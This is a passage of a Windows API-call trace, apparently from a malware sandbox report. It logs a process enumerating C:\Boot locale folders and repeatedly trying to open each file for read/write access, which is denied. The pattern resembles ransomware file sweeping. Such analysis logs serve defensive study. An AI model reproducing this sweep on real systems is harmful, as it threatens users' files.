cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0128.111] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.111] GetLastError () returned 0x5 [0128.111] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0128.111] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.111] GetProcessHeap () returned 0x2a0000 [0128.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.111] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0128.111] GetProcessHeap () returned 0x2a0000 [0128.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.111] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.112] GetProcessHeap () returned 0x2a0000 [0128.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.113] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.113] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.113] GetProcessHeap () returned 0x2a0000 [0128.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.113] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.113] GetLastError () returned 0x5 [0128.113] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.113] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.113] GetProcessHeap () returned 0x2a0000 [0128.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.113] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0128.113] GetProcessHeap () returned 0x2a0000 [0128.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.113] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.114] GetProcessHeap () returned 0x2a0000 [0128.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.114] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.114] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.114] GetProcessHeap () returned 0x2a0000 [0128.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.114] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.114] GetLastError () returned 0x5 [0128.114] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.114] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.114] GetProcessHeap () returned 0x2a0000 [0128.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.114] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0128.114] GetProcessHeap () returned 0x2a0000 [0128.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.114] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.115] GetProcessHeap () returned 0x2a0000 [0128.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.116] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.116] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.116] GetProcessHeap () returned 0x2a0000 [0128.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.116] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.116] GetLastError () returned 0x5 [0128.116] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.116] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.116] GetProcessHeap () returned 0x2a0000 [0128.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.116] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0128.116] GetProcessHeap () returned 0x2a0000 [0128.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.116] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.117] GetProcessHeap () returned 0x2a0000 [0128.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.117] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.117] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.117] GetProcessHeap () returned 0x2a0000 [0128.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.117] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.117] GetLastError () returned 0x5 [0128.117] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.117] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.117] GetProcessHeap () returned 0x2a0000 [0128.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.117] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0128.117] GetProcessHeap () returned 0x2a0000 [0128.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.117] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.118] GetProcessHeap () returned 0x2a0000 [0128.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.118] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.118] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.118] GetProcessHeap () returned 0x2a0000 [0128.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.118] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.118] GetLastError () returned 0x5 [0128.118] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.118] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.119] GetProcessHeap () returned 0x2a0000 [0128.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.119] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0128.119] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0128.119] GetProcessHeap () returned 0x2a0000 [0128.119] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.119] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.119] GetProcessHeap () returned 0x2a0000 [0128.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.119] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.119] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.119] GetProcessHeap () returned 0x2a0000 [0128.119] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.119] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.120] GetLastError () returned 0x5 [0128.120] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.120] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.120] GetProcessHeap () returned 0x2a0000 [0128.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.121] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0128.121] GetProcessHeap () returned 0x2a0000 [0128.121] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.121] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.121] GetProcessHeap () returned 0x2a0000 [0128.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.121] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, 